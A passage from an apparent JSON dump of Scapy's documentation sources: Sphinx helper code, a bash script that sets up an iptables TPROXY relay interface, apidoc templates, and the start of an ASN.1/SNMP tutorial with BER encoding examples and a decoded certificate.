disclaimer in the documentation and/or other materials provided\n#        with the distribution.\n# \n#     * Neither the name of the NumPy Developers nor the names of any\n#        contributors may be used to endorse or promote products derived\n#        from this software without specific prior written permission.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\ndef linkcode_resolve(domain, info):\n    \"\"\"\n    Determine the URL corresponding to Python object\n    \"\"\"\n    if domain != 'py':\n        return None\n\n    modname = info['module']\n    fullname = info['fullname']\n\n    submod = sys.modules.get(modname)\n    if submod is None:\n        return None\n\n    obj = submod\n    for part in fullname.split('.'):\n        try:\n            obj = getattr(obj, part)\n        except Exception:\n            return None\n\n    # strip decorators, which would resolve to the source of the decorator\n    # possibly an upstream bug in getsourcefile, bpo-1764286\n    try:\n        unwrap = inspect.unwrap\n    except AttributeError:\n        pass\n    else:\n        obj = unwrap(obj)\n\n    fn = None\n    lineno = None\n\n    try:\n        fn = inspect.getsourcefile(obj)\n    except Exception:\n        fn = None\n    if not fn:\n        return None\n\n    try:\n        source, lineno = inspect.getsourcelines(obj)\n    except Exception:\n        lineno = None\n    \n    fn = os.path.relpath(fn, start=os.path.dirname(scapy.__file__))\n\n    if lineno:\n        linespec = \"#L%d-L%d\" % (lineno, lineno + len(source) - 1)\n    else:\n        linespec = \"\"\n\n    if 'dev' in scapy.__version__:\n        return \"https://github.com/secdev/scapy/blob/master/scapy/%s%s\" % (\n           fn, linespec)\n    else:\n        return \"https://github.com/secdev/scapy/blob/v%s/scapy/%s%s\" % (\n           scapy.__version__, fn, linespec)\n"
  },
  {
    "path": "doc/scapy/_ext/scapy_doc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nA Sphinx Extension for Scapy's doc preprocessing\n\"\"\"\n\nimport subprocess\nimport os\nfrom scapy.packet import Packet, _pkt_ls, rfc\n\nfrom sphinx.ext.autodoc import AttributeDocumenter\n\n# Utils\n\ndef generate_rest_table(items):\n    \"\"\"\n    Generates a ReST table from a list of tuples\n    \"\"\"\n    lengths = [max(len(y) for y in x) for x in zip(*items)]\n    sep = \"+%s+\" % \"+\".join(\"-\" * x for x in lengths)\n    sized = \"|%s|\" % \"|\".join(\"{:%ss}\" % x for x in lengths)\n    output = []\n    for i in items:\n        output.append(sep)\n        output.append(sized.format(*i))\n    output.append(sep)\n    return output\n\n\ndef tab(items):\n    \"\"\"\n    Tabulize a generator.\n    \"\"\"\n    for i in items:\n        # Tabs are 3-wide in autodoc\n        yield \"   \" + i\n\n\ndef class_ref(cls):\n    \"\"\"\n    Get Sphinx reference to a class\n    \"\"\"\n    return \":class:`~%s`\" % (\n        cls.__module__ + '.' + cls.__name__\n    )\n\n\ndef get_fields_desc(obj):\n    \"\"\"\n    Create a readable documentation for fields_desc\n    \"\"\"\n    output = []\n    for value in _pkt_ls(obj):\n        fname, cls, clsne, dflt, long_attrs = value\n        output.append(\n            (\n                \"**%s**\" % fname,\n                class_ref(cls) + ((\" \" + clsne) if clsne else \"\"),\n                \"``%s``\" % dflt\n            )\n        )\n    if output:\n        output = list(\n            tab(\n                generate_rest_table(output)\n            )\n        )\n        # Add header\n        output.insert(0, \".. table:: %s fields\" % obj.__name__)\n        output.insert(1, \"   :widths: grid\")\n        output.insert(2, \"   \")\n        # Add RFC-like graph\n        try:\n            graph = list(tab(rfc(obj, ret=True).split(\"\\n\")))\n        except AttributeError:\n            return output\n        s = \"Display RFC-like schema\"\n        graph.insert(0, \".. raw:: html\")\n        graph.insert(1, \"\")\n        graph.insert(2, \"   <details><summary>%s</summary><code><pre>\" % s)\n        graph.append(\"   </pre></code></details>\")\n        graph.append(\"\")\n        return graph + output\n    return output\n\n# Documenter\n\nclass AttrsDocumenter(AttributeDocumenter):\n    \"\"\"\n    Mock of AttributeDocumenter to handle Scapy settings\n    \"\"\"\n\n    def add_directive_header(self, *args, **kwargs):\n        def call_parent():\n            \"\"\"Calls the super.super.add_directive_header\"\"\"\n            super(AttributeDocumenter, self).add_directive_header(\n                *args, **kwargs\n            )\n        sourcename = self.get_sourcename()\n        # Custom additions\n        if issubclass(self.parent, Packet):\n            # Packet\n            if self.object_name == \"fields_desc\":\n                # Display custom field table\n                call_parent()\n                table = list(tab(get_fields_desc(self.parent)))\n                if table:\n                    self.add_line(\"   \", sourcename)\n                    for line in table:\n                        self.add_line(line, sourcename)\n                    self.add_line(\"   \", sourcename)\n                return\n            elif self.object_name == \"payload_guess\":\n                # Display list of possible children\n                call_parent()\n                children = sorted(set(class_ref(x[1]) for x in self.object))\n                if children:\n                    lines = [\n                        \"\",\n                        \"Possible sublayers:\",\n                        \", \".join(children),\n                        \"\"\n                    ]\n                    for line in tab(lines):\n                        self.add_line(line, sourcename)\n                return\n            elif (self.object_name in [\"aliastypes\"] or\n                  self.object_name.startswith(\"class_\")):\n                # Ignore\n                call_parent()\n                return\n        # The field is unknown: continue normally\n        super(AttrsDocumenter, self).add_directive_header(*args, **kwargs)\n\n# Setup\n\ndef builder_inited_handler(app): \n    \"\"\"Generate API tree\"\"\"\n    if int(os.environ.get(\"SCAPY_APITREE\", True)):\n        subprocess.call(['tox', '-e', 'apitree'])\n\n\ndef setup(app):\n    \"\"\"\n    Entry point of the scapy_doc extension.\n\n    Called by sphinx while booting up.\n    \"\"\"\n    app.add_autodocumenter(AttrsDocumenter, override=True)\n    app.connect('builder-inited', builder_inited_handler)\n\n    # Dummy. We won't publish this\n    return {\n        'version': '1.0',\n        'parallel_read_safe': True,\n        'parallel_write_safe': True,\n    }\n"
  },
  {
    "path": "doc/scapy/_static/_dummy",
    "content": ""
  },
  {
    "path": "doc/scapy/_static/vethrelay.sh",
    "content": "#!/bin/bash\n\n# Setup iptables for IP relay by creating an interface configured\n# to be the destination of TPROXY rules.\n\nif [ \"$EUID\" -ne 0 ]\n  then echo \"Please run as root\"\n  exit\nfi\n\nif [ \"$1\" != \"setup\" ] && [ \"$1\" != \"unsetup\" ]; then\n    echo -e \"Usage: ./vethrelay <setup/unsetup>\\n\"\n    exit 1\nfi\n\nIFACE=\"vethrelay\"\nIP=\"2.2.2.2\"\n\n# Linux doc about TPROXY and example regarding this:\n# https://www.kernel.org/doc/Documentation/networking/tproxy.txt\n# https://powerdns.org/tproxydoc/tproxy.md.html\n\nfunction checkSetup() {\n    iptables -t mangle -n --list \"DIVERT\" >/dev/null 2>&1\n    return $?\n}\n\nif [ \"$1\" == \"setup\" ]; then\n    # Add \"DIVERT\" chain if it doesn't exist\n    checkSetup\n    if [ $? -eq 0 ]; then\n        echo \"vethrelay already setup !\"\n        exit 1\n    fi\n    # Create an interface tcpreplay dedicated to relay\n    ip link add dev $IFACE type dummy\n    sysctl net.ipv6.conf.$IFACE.disable_ipv6=1 >/dev/null\n    ip link set dev $IFACE up\n    ip addr add dev $IFACE $IP/32\n    # Create mangle \"DIVERT\" chain as an optimisation. -m socket matches\n    # packets from already established sockets. Those are marked as 1 then\n    # accepted directly.\n    iptables -t mangle -N DIVERT\n    iptables -t mangle -A PREROUTING -p tcp -m socket -j DIVERT\n    iptables -t mangle -A DIVERT -j MARK --set-mark 1\n    iptables -t mangle -A DIVERT -j ACCEPT\n    # Packets marked with 1 are routed through table 100 instead of the\n    # default routing table\n    ip rule add fwmark 1 lookup 100\n    # In routing table 100, all IPs are local to 'vethrelay'\n    ip route add local 0.0.0.0/0 dev $IFACE table 100\n    echo -e \"\\x1b[32mInterface $IFACE is now setup with IPv4: $IP !\\x1b[0m\\n\"\n    echo -e \"Add listening rules as follow:\\n\"\n    echo \"# TPROXY incoming TCP packets on port 80 to $IFACE on port 8080\"\n    echo \"iptables -t mangle -A PREROUTING -p tcp --dport 80 -j TPROXY --tproxy-mark 0x1/0x1 --on-port 8080 --on-ip $IP\"\n    echo\n    echo \"# Listen on wlp4s0 for incoming packets on port 80 (on the interface where it really comes from)\"\n    echo \"iptables -A INPUT -i wlp4s0 -p tcp --dport 80 -j ACCEPT\"\nelif [ \"$1\" == \"unsetup\" ]; then\n    checkSetup\n    if [ $? -ne 0 ]; then\n        echo \"vethrelay not setup !\"\n        exit 1\n    fi\n    # Remove all setup rules\n    sudo ip rule del fwmark 1 lookup 100\n    sudo ip route del local 0.0.0.0/0 dev $IFACE table 100\n    sudo iptables -t mangle -D DIVERT -j ACCEPT\n    sudo iptables -t mangle -D DIVERT -j MARK --set-mark 1\n    sudo iptables -t mangle -D PREROUTING -p tcp -m socket -j DIVERT\n    sudo iptables -t mangle -X DIVERT\n    sudo ip link del dev $IFACE\n    echo -e \"\\x1b[32mInterface $IFACE unsetup !\\x1b[0m\"\nfi\n"
  },
  {
    "path": "doc/scapy/_templates/README.md",
    "content": "# Doc templates\n\nThis folder contains templates used to generate Scapy's doc. It contains:\n\n- apidoc templates: inherited from\n  https://github.com/sphinx-doc/sphinx/blob/master/sphinx/templates/apidoc/\n"
  },
  {
    "path": "doc/scapy/_templates/module.rst_t",
    "content": "{%- if show_headings %}\n{{- basename | e | heading }}\n\n{% endif -%}\n.. automodule:: {{ qualname }}\n{%- for option in automodule_options %}\n   :{{ option }}:\n{%- endfor %}\n\n"
  },
  {
    "path": "doc/scapy/_templates/package.rst_t",
    "content": "{%- macro automodule(modname, options) -%}\n.. automodule:: {{ modname }}\n{%- for option in options %}\n   :{{ option }}:\n{%- endfor %}\n{%- endmacro %}\n\n{%- macro toctree(docnames) -%}\n.. toctree::\n   :maxdepth: {{ maxdepth }}\n   :titlesonly:\n{% for docname in docnames %}\n   {{ docname }}\n{%- endfor %}\n{%- endmacro %}\n\n{%- if is_namespace %}\n{{- [pkgname, \"namespace\"] | join(\" \") | e | heading }}\n{% else %}\n{%- if pkgname == \"scapy\" %}\n{{- \"Scapy API reference\" | e | heading }}\n{% else %}\n{{- [pkgname, \"package\"] | join(\" \") | e | heading }}\n{% endif %}\n{% endif %}\n\n{%- if modulefirst and not is_namespace %}\n{{ automodule(pkgname, automodule_options) }}\n{% endif %}\n\n{%- if subpackages %}\nSubpackages\n-----------\n\n{{ toctree(subpackages) }}\n{% endif %}\n\n{%- if submodules %}\nSubmodules\n----------\n{% if separatemodules %}\n{{ toctree(submodules) }}\n{%- else %}\n{%- for submodule in submodules %}\n{% if show_headings %}\n{{- [submodule, \"module\"] | join(\" \") | e | heading(2) }}\n{% endif %}\n{{ automodule(submodule, automodule_options) }}\n{% endfor %}\n{%- endif %}\n{% endif %}\n\n{%- if not modulefirst and not is_namespace %}\n{{ automodule(pkgname, automodule_options) }}\n{% endif %}\n"
  },
  {
    "path": "doc/scapy/advanced_usage/asn1_snmp.rst",
    "content": "ASN.1 and SNMP\n==============\n\nWhat is ASN.1?\n--------------\n\n.. note::\n\n   This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet.\n\nASN.1 is a notation whose goal is to specify formats for data exchange. It is independent of the way data is encoded. Data encoding is specified in Encoding Rules.\n\nThe most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes, and signatures.\n\nASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so-called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes.\n\nEach of these objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is an integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version.\n\nOther objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc.\n\nScapy and ASN.1\n---------------\n\nScapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite laxer than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those.\n\nASN.1 engine\n^^^^^^^^^^^^\n\nNote: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behavior.\n``\nScapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects.\n\n::\n\n    class ASN1_Class_UNIVERSAL(ASN1_Class):\n        name = \"UNIVERSAL\"\n    # [...]\n        BOOLEAN = 1\n        INTEGER = 2\n        BIT_STRING = 3\n    # [...]\n\n    class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):\n        name=\"SNMP\"\n        PDU_GET = 0xa0\n        PDU_NEXT = 0xa1\n        PDU_RESPONSE = 0xa2\n    \n    class ASN1_Class_X509(ASN1_Class_UNIVERSAL):\n        name=\"X509\"\n        CONT0 = 0xa0\n        CONT1 = 0xa1\n    # [...]\n\nAll ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple::\n\n    class ASN1_INTEGER(ASN1_Object):\n        tag = ASN1_Class_UNIVERSAL.INTEGER\n    \n    class ASN1_STRING(ASN1_Object):\n        tag = ASN1_Class_UNIVERSAL.STRING\n    \n    class ASN1_BIT_STRING(ASN1_STRING):\n        tag = ASN1_Class_UNIVERSAL.BIT_STRING\n\nThese instances can be assembled to create an ASN.1 tree::\n\n    >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING(\"egg\"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])])\n    >>> x\n    <ASN1_SEQUENCE[[<ASN1_INTEGER[7]>, <ASN1_STRING['egg']>, <ASN1_SEQUENCE[[<ASN1_BOOLEAN[False]>]]>]]>\n    >>> x.show()\n    # ASN1_SEQUENCE:\n      <ASN1_INTEGER[7]>\n      <ASN1_STRING['egg']>\n      # ASN1_SEQUENCE:\n        <ASN1_BOOLEAN[False]>\n\nEncoding engines\n^^^^^^^^^^^^^^^^^\n\nAs with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec.\n\nEncoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type::\n\n    >>> BERcodec_INTEGER.enc(7)\n    '\\x02\\x01\\x07'\n    >>> BERcodec_BIT_STRING.enc(\"egg\")\n    '\\x03\\x03egg'\n    >>> BERcodec_STRING.enc(\"egg\")\n    '\\x04\\x03egg'\n    >>> BERcodec_STRING.dec('\\x04\\x03egg')\n    (<ASN1_STRING['egg']>, '')\n    >>> BERcodec_STRING.dec('\\x03\\x03egg')\n    Traceback (most recent call last):\n      File \"<console>\", line 1, in ?\n      File \"/usr/bin/scapy\", line 2099, in dec\n        return cls.do_dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2178, in do_dec\n        l,s,t = cls.check_type_check_len(s)\n      File \"/usr/bin/scapy\", line 2076, in check_type_check_len\n        l,s3 = cls.check_type_get_len(s)\n      File \"/usr/bin/scapy\", line 2069, in check_type_get_len\n        s2 = cls.check_type(s)\n      File \"/usr/bin/scapy\", line 2065, in check_type\n        (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s)\n    BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting <ASN1Tag STRING[4]>\n    ### Already decoded ###\n    None\n    ### Remaining ###\n    '\\x03\\x03egg'\n    >>> BERcodec_Object.dec('\\x03\\x03egg')\n    (<ASN1_BIT_STRING['egg']>, '')\n\nASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``raw()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used.\n\n::\n\n    >>> x.enc(ASN1_Codecs.BER)\n    '0\\r\\x02\\x01\\x07\\x04\\x03egg0\\x03\\x01\\x01\\x00'\n    >>> raw(x)\n    '0\\r\\x02\\x01\\x07\\x04\\x03egg0\\x03\\x01\\x01\\x00'\n    >>> xx,remain = BERcodec_Object.dec(_)\n    >>> xx.show()\n    # ASN1_SEQUENCE:\n      <ASN1_INTEGER[7L]>\n      <ASN1_STRING['egg']>\n      # ASN1_SEQUENCE:\n        <ASN1_BOOLEAN[0L]>\n\n    >>> remain\n    ''\n\nBy default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context!\n\n::\n\n    >>> cert=\"\"\"\n    ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC\n    ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB\n    ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg\n    ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw\n    ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB\n    ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg\n    ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh\n    ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC\n    ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs\n    ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs\n    ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg\n    ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ\n    ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0\n    ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X\n    ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml\n    ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh\n    ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo\n    ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ\n    ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex\n    ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB\n    ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA\n    ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG\n    ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0\n    ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF\n    ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY\n    ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/\n    ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la\n    ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks\n    ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5\n    ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD\n    ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41\n    ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H\n    ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL\n    ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg=\n    ... \"\"\".decode(\"base64\")\n    >>> (dcert,remain) = BERcodec_Object.dec(cert)\n    Traceback (most recent call last):\n      File \"<console>\", line 1, in ?\n      File \"/usr/bin/scapy\", line 2099, in dec\n        return cls.do_dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2094, in do_dec\n        return codec.dec(s,context,safe)\n      File \"/usr/bin/scapy\", line 2099, in dec\n        return cls.do_dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2218, in do_dec\n        o,s = BERcodec_Object.dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2099, in dec\n        return cls.do_dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2094, in do_dec\n        return codec.dec(s,context,safe)\n      File \"/usr/bin/scapy\", line 2099, in dec\n        return cls.do_dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2218, in do_dec\n        o,s = BERcodec_Object.dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2099, in dec\n        return cls.do_dec(s, context, safe)\n      File \"/usr/bin/scapy\", line 2092, in do_dec\n        raise BER_Decoding_Error(\"Unknown prefix [%02x] for [%r]\" % (p,t), remaining=s)\n    BER_Decoding_Error: Unknown prefix [a0] for ['\\xa0\\x03\\x02\\x01\\x02\\x02\\x01\\x010\\r\\x06\\t*\\x86H...']\n    ### Already decoded ###\n    [[]]\n    ### Remaining ###\n    '\\xa0\\x03\\x02\\x01\\x02\\x02\\x01\\x010\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x05\\x05\\x000\\x81\\x831\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x1d0\\x1b\\x06\\x03U\\x04\\n\\x13\\x14AOL Time Warner Inc.1\\x1c0\\x1a\\x06\\x03U\\x04\\x0b\\x13\\x13America Online Inc.1705\\x06\\x03U\\x04\\x03\\x13.AOL Time Warner Root Certification Authority 20\\x1e\\x17\\r020529060000Z\\x17\\r370928234300Z0\\x81\\x831\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x1d0\\x1b\\x06\\x03U\\x04\\n\\x13\\x14AOL Time Warner Inc.1\\x1c0\\x1a\\x06\\x03U\\x04\\x0b\\x13\\x13America Online Inc.1705\\x06\\x03U\\x04\\x03\\x13.AOL Time Warner Root Certification Authority 20\\x82\\x02\"0\\r\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x02\\x0f\\x000\\x82\\x02\\n\\x02\\x82\\x02\\x01\\x00\\xb47Z\\x08\\x16\\x99\\x14\\xe8U\\xb1\\x1b$k\\xfc\\xc7\\x8b\\xe6\\x87\\xa9\\x89\\xee\\x8b\\x99\\xcdO@\\x86\\xa4\\xb6M\\xc9\\xd9\\xb1\\xdc<M\\r\\x85L\\x15lF\\x8bRx\\x9f\\xf8#\\xfdg\\xf5$:h]\\xd0\\xf7daAT\\xa3\\x8b\\xa5\\x08\\xd2)[\\x9b`O&\\x83\\xd1c\\x12VIv\\xa4\\x16\\xc2\\xa5\\x9dE\\xac\\x8b\\x84\\x95\\xa8\\x16\\xb1\\xec\\x9f\\xea$\\x1a\\xef\\xb9W\\\\\\x9a$!,M\\x0eq\\x1f\\xa6\\xac]Et\\x03\\x98\\xc4T\\x8c\\x16JAw\\x86\\x95u\\x0cG\\x01f`\\xfc\\x15\\xf1\\x0f\\xea\\xf5\\x14x\\xc7\\x0e\\xd7n\\x81\\x1c^\\xbf^\\xe7:*\\xd8\\x97\\x170|\\x00\\xad\\x08\\x9d3\\xaf\\xb8\\x99a\\x80\\x8b\\xa8\\x95~\\x14\\xdc\\x12l\\xa4\\xd0\\xd8\\xef@I\\x026\\xf9n\\xa9\\xd6\\x1d\\x96V\\x04\\xb2\\xb3-\\x16V\\x86\\x8f\\xd9 W\\x80\\xcdg\\x10m\\xb0L\\xf0\\xdaF\\xb6\\xea%.F\\xaf\\x8d\\xb0\\x8584\\x8b\\x14&\\x82+\\xac\\xae\\x99\\x0b\\x8e\\x14\\xd7R\\xbd\\x9ei\\xc3\\x86\\x02\\x0b\\xeavu1\\t\\xce3\\x19!\\x85C\\xe6\\x89-\\x9f%7g\\xf1#j\\xd2\\x00m\\x97\\xf9\\x9f\\xe7)\\xca\\xdd\\x1f\\xd7\\x06\\xea\\xb8\\xc9\\xb9\\t!\\x9f\\xc8?\\x06\\xc5\\xd2\\xe9\\x12F\\x00N{\\x08\\xebB=+Hn\\x9dg\\xddK\\x02\\xe4D\\xf3\\x93\\x19\\xa5\\'\\xceiz\\xbeg\\xd3\\xfcP\\xa4,\\xab\\xc3k\\xb9\\xe3\\x80L\\xcf\\x05aK+\\xdc\\x1b\\xb9\\xa6\\xd2\\xd0\\xaa\\xf5+s\\xfb\\xce\\x905\\x9f\\x0cR\\x1c\\xbf\\\\!a\\x11[\\x15K\\xa9$Q\\xfc\\xa4\\\\\\xf7\\x17\\x9d\\xb0\\xd2\\xfa\\x07\\xe9\\x8fV\\xe4\\x1a\\x8ch\\x8a\\x04\\xd3|Z\\xe3\\x9e\\xa2\\xa1\\xcaq[\\xa2\\xd4\\xa0\\xe7)\\x85]\\x03h*O\\xd2\\x06\\xd7=\\xf9\\xc3\\x03/?e\\xf9g\\x1eG@\\xd3c\\x0f\\xe3\\xd5\\x8e\\xf9\\x85\\xab\\x97L\\xb3\\xd7&\\xeb\\x96\\n\\x94\\xde\\x856\\x9c\\xc8\\x7f\\x81\\t\\x02I*\\x0e\\xf5d2\\x0c\\x82\\xd1\\xbaj\\x82\\x1b\\xb3Kt\\x11\\xf3\\x8cw\\xd6\\x9f\\xbf\\xdc7\\xa4\\xa7U\\x04/\\xd41\\xe8\\xd3F\\xb9\\x03|\\xda\\x12NYd\\xb7Q11P\\xa0\\xca\\x1c\\'\\xd9\\x10.\\xad\\xd6\\xbd\\x10f+\\xc3\\xb0\"J\\x12[\\x02\\x03\\x01\\x00\\x01\\xa3c0a0\\x0f\\x06\\x03U\\x1d\\x13\\x01\\x01\\xff\\x04\\x050\\x03\\x01\\x01\\xff0\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14Oim\\x03~\\x9d\\x9f\\x07\\x18C\\xbc\\xb7\\x10N\\xd5\\xbf\\xa9\\xc4 (0\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14Oim\\x03~\\x9d\\x9f\\x07\\x18C\\xbc\\xb7\\x10N\\xd5\\xbf\\xa9\\xc4 